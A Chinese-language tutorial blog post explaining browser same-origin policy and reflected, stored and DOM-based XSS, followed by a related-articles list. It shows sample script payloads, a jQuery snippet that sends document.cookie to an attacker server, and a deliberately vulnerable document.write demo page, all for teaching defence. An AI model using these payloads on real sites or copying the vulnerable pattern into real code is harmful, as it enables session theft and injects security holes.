Web前端安全策略之XSS的攻击与防御(上)

简介: 随着技术的发展,前端早已不是只做页面的展示了, 同时还需要做安全方面的处理,毕竟网站上很多数据会涉及到用户的隐私。若是没有些安全策略, 很容易被别人通过某些操作,获取到一些用户隐私信息,那么用户数据隐私就无法得到保障。对于前端方面的安全策略你又知道多少呢?接下来我们来介绍一下~本文先讲前两个,之后再讲最后一个

前端的安全策略主要分为以下几种:


  • 浏览器的同源策略


  • 跨站脚本攻击(XSS)


  • 跨站请求伪造(CSRF)


//浏览器的同源策略 //


同源策略是浏览器自带的一种安全策略,他是指协议域名端口 三个都相同的才能互相访问。


这个不懂的小伙伴可以查看一下我写的另一篇文章,里面非常非常详细地讲述了同源策略的定义、作用, 还有跨域请求的方法。下面放上链接——前端人员都懂的浏览器的同源策略,以及如何进行不同源间的相互访问


//跨站脚本攻击(XSS) //


跨站脚本攻击,缩写为XSS(Cross Site Scripting),是利用网页的漏洞,通过某种方式给网页注入恶意代码,使用户加载网页时执行注入的恶意代码。


XSS一共分为3种


  1. 非持久型跨站(也叫反射型)


  1. 持久型跨站(也叫存储型)


  1. DOM跨站


(1)非持久型跨站


定义:这是最普遍的一种XSS攻击方式, 攻击的流程大致是:用户访问服务器——跨站的链接——返回跨站的代码


这个定义看起来非常的抽象,我们用一个例子来讲解一下。

例如html中有一个代码如下的 a 标签


    <a href='http://localhost:5000?message=hello word'>点击跳转</a>


    展示效果为下图


    1e491ac8f1d075fad4495c2c7d580b89.png


    当我们单击 点击跳转 这个 a 标签时, 会跳转到另一个页面,如下图


    92d9badef70fb383ba6225e1cb7f4868.png

    我来讲一下,在我们点击这个 a 标签后发生的过程, 首先我们根据 a 标签的 href 属性的值去请求服务器, 服务器接收到这个地址,并且接收到携带的参数(message=hello word), 然后再跳转到另一个页面,并把这个参数的值放到另一个页面上。


    了解了这些,我们接下来看一下XSS攻击是怎么操作的。


    攻击者会给我们网站的 a 标签 的 href 修改参数,并且该参数的值是一个脚本代码,如下图


    c1851a4b7de2655d4866bf8054391dec.png


    我们可以看到,这时参数的值是一个脚本代码,那当我们点击 点击跳转 时,服务器将传过来的参数的值直接放到另一个页面上, 也就是把<script>alert('攻击成功')</script> 直接放到另一个 html 文件中, 当浏览器解析时,会把这个值当成是一个脚本标签执行内部的一些JS代码,效果如下图


    258b9349789b5117d20e13c1a098657b.png


    就这样,攻击者传入的脚本代码就在用户点击操作完后, 顺利的执行了。现在我只是拿 alert('攻击成功') 举个例子,那如果传入的 js 代码是一个 ajax 代码呢, 例如下列这个形式:


      $.ajax({  url: 'http://localhost:5001',    data: {cookie: document.cookie},    type: 'get'})

      当这个脚本执行时,是在用户的浏览器执行的,这个脚本直接获取了该网站的 cookie信息并发送到自己的服务器, 这样就成功盗取了 cookie 信息, 是不是特别的恐怖。


      最后再说一下, Chrome 浏览器现在已经可以阻挡70%的这种类型的XSS攻击, 会弹出以下的提示


      91a71577ababb6318033a90690978edd.png


      (2)持久型跨站


      定义:危害极大的一种攻击类型,跨站代码存储在服务器(数据库)中。


      我们通过例子来了解一下该攻击类型是如何实现的。


      拿贴吧的帖子回复为例子, 我们将回复内容填到这个输入框中,然后点击提交


      af3c98c78c4df6d4e9038f0bcaabab3f.png


      点击提交以后, 客户端会将表单数据(本例中就是输入框内的文字)发送给服务器,并将表单数据存储在自己的数据库中, 然后再刷新这个帖子的时候,我们就能看到有一条我们刚评论的回复了


      cff8ec2212944b9a3217980c50951d1b.png


      我先来讲解一下,我们刚回复的这条评论是怎么展示在页面上的。当我们访问这个帖子的详情页时,会请求服务器,服务器根据帖子的 id 去数据库里找到该帖子的各种信息,例如帖子标题、发帖人、收藏数、点赞数、回复等等,然后将这些数据放到这个详情页中。

      那么再回到发表回复的那个步骤,如果用户点击提交的时候,表单数据被改为这个样子怎么办?如图


      7967c6b2f87ca3934c2909f9b2a9a917.png


      这堆脚本代码将被服务器接收并保存到数据库中,然后每当别的用户访问到这个帖子的时候, 服务器会将这串脚本代码当作普通的文字内容渲染在页面上,但是浏览器却会将他解析为脚本代码,并运行。这样一来, 攻击的人只需要操作一次,就可以让全世界所有访问该网址的人,都受到他的攻击,这样的危害真的非常的大。


      (3)DOM跨站


      定义:通过修改页面DOM节点而形成的XSS攻击称作DOM跨站,这也可以算作一种非持久型跨站,它跟前两种XSS攻击方式唯一不一样的就是,它只发生在客户端,而不需要经过服务器。


      我用我写的一个例子,给大家演示一下什么叫DOM跨站,先看一下网页代码


        <!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>Title</title>
        </head><body>
        <input type="text" id="content"><button id="btn">添加</button>
        <script>    window.onload = function () {        let content = document.querySelector('#content')        let btn = document.querySelector('#btn')        btn.onclick = function () {            document.write(content.value)        }            }</script></body></html>

        该代码实现的效果就是,在输入框中输入内容,然后通过 document.write() 将输入框中的内容替换整个页面内容,来看一下下面这个动图


        67c1a00ad2f411d961d3b570c186a100.jpg


        我们可以看到,这是个不需要通过服务器就能完成的操作,仅通过 js 代码获取用户在输入框中输入的内容,然后将这个页面重新渲染一遍。那我们再来看一个例子,如果在这个输入框中输入 <script>alert('你被XSS攻击了')</script> 会发生什么呢?


        2f8db60decdce7462fd4a1e0a9a3fe27.jpg


        在通过 document.write() 重新渲染页面的时候, 我们输入的 <script>alert('你被XSS攻击了'</script>) 被浏览器当作脚本去执行了,此时网页的DOM结构如图


        cf3ed242a89b434316c750bf37f7a87b.png


        所以, 我们在使用操作DOM的指令的时候要格外的小心,在输出数据时,我们必须得对数据进行一下过滤操作。


        相关文章
        |
        3月前
        |
        SQL 存储 安全
        Web 常见攻击方式及防御方法
        【10月更文挑战第25天】Web 安全是一个复杂而重要的领域,攻击者不断寻找新的攻击方法,我们需要不断加强防御措施,提高安全意识,以保障 Web 应用的安全运行。通过采取多种防御手段的综合运用,我们可以有效地降低 Web 攻击的风险,保护用户的信息和财产安全。同时,随着技术的不断发展,我们也需要持续关注和研究新的安全威胁和防御方法,以应对不断变化的安全形势。
        495 56
        |
        3月前
        |
        Web App开发 网络协议 安全
        基于Web攻击的方式发现并攻击物联网设备介绍
        基于Web攻击的方式发现并攻击物联网设备介绍
        64 4
        |
        3月前
        |
        安全 前端开发 Java
        Web安全进阶:XSS与CSRF攻击防御策略深度解析
        【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
        140 4
        |
        3月前
        |
        安全 Go PHP
        Web安全进阶:XSS与CSRF攻击防御策略深度解析
        【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
        117 2
        |
        3月前
        |
        存储 安全 Go
        Web安全基础:防范XSS与CSRF攻击的方法
        【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
        157 3
        |
        3月前
        |
        SQL 安全 网络协议
        Web 常见攻击方式
        【10月更文挑战第25天】这些只是一些常见的 Web 攻击方式,实际上还有许多其他的攻击手段。为了防范这些攻击,需要采取一系列的安全措施,如输入验证、输出编码、安全配置、身份验证等。同时,也需要不断提高用户的安全意识,以减少被攻击的风险。
        41 1
        |
        4月前
        |
        存储 安全 前端开发
        在前端开发中需要考虑的常见web安全问题和攻击原理以及防范措施
        在前端开发中需要考虑的常见web安全问题和攻击原理以及防范措施
        353 0
        |
        4月前
        |
        存储 人工智能 前端开发
        前端大模型应用笔记(三):Vue3+Antdv+transformers+本地模型实现浏览器端侧增强搜索
        本文介绍了一个纯前端实现的增强列表搜索应用,通过使用Transformer模型,实现了更智能的搜索功能,如使用“番茄”可以搜索到“西红柿”。项目基于Vue3和Ant Design Vue,使用了Xenova的bge-base-zh-v1.5模型。文章详细介绍了从环境搭建、数据准备到具体实现的全过程,并展示了实际效果和待改进点。
        304 14
        |
        4月前
        |
        JavaScript 前端开发 程序员
        前端学习笔记——node.js
        前端学习笔记——node.js
        83 0
        |
        4月前
        |
        人工智能 自然语言处理 运维
        前端大模型应用笔记(一):两个指令反过来说大模型就理解不了啦?或许该让第三者插足啦 -通过引入中间LLM预处理用户输入以提高多任务处理能力
        本文探讨了在多任务处理场景下,自然语言指令解析的困境及解决方案。通过增加一个LLM解析层,将复杂的指令拆解为多个明确的步骤,明确操作类型与对象识别,处理任务依赖关系,并将自然语言转化为具体的工具命令,从而提高指令解析的准确性和执行效率。

        热门文章

        最新文章

      • 1
        【Java若依框架】RuoYi-Vue的前端和后端配置步骤和启动步骤
      • 2
        【11】flutter进行了聊天页面的开发-增加了即时通讯聊天的整体页面和组件-切换-朋友-陌生人-vip开通详细页面-即时通讯sdk准备-直播sdk准备-即时通讯有无UI集成的区别介绍-开发完整的社交APP-前端客户端开发+数据联调|以优雅草商业项目为例做开发-flutter开发-全流程-商业应用级实战开发-优雅草Alex
      • 3
        【05】flutter完成注册页面完善样式bug-增加自定义可复用组件widgets-严格规划文件和目录结构-规范入口文件-开发完整的社交APP-前端客户端开发+数据联调|以优雅草商业项目为例做开发-flutter开发-全流程-商业应用级实战开发-优雅草央千澈
      • 4
        【08】flutter完成屏幕适配-重建Android,增加GetX路由,屏幕适配,基础导航栏-多版本SDK以及gradle造成的关于fvm的使用(flutter version manage)-卓伊凡换人优雅草Alex-开发完整的社交APP-前端客户端开发+数据联调|以优雅草商业项目为例做开发-flutter开发-全流程-商业应用级实战开发-优雅草Alex
      • 5
        详解智能编码在前端研发的创新应用
      • 6
        巧用通义灵码,提升前端研发效率
      • 7
        【07】flutter完成主页-完成底部菜单栏并且做自定义组件-完整短视频仿抖音上下滑动页面-开发完整的社交APP-前端客户端开发+数据联调|以优雅草商业项目为例做开发-flutter开发-全流程-商业应用级实战开发-优雅草央千澈
      • 8
        智能编码在前端研发的创新应用
      • 9
        【04】flutter补打包流程的签名过程-APP安卓调试配置-结构化项目目录-完善注册相关页面-开发完整的社交APP-前端客户端开发+数据联调|以优雅草商业项目为例做开发-flutter开发-全流程
      • 10
        抛弃node和vscode,如何用记事本开发出一个完整的vue前端项目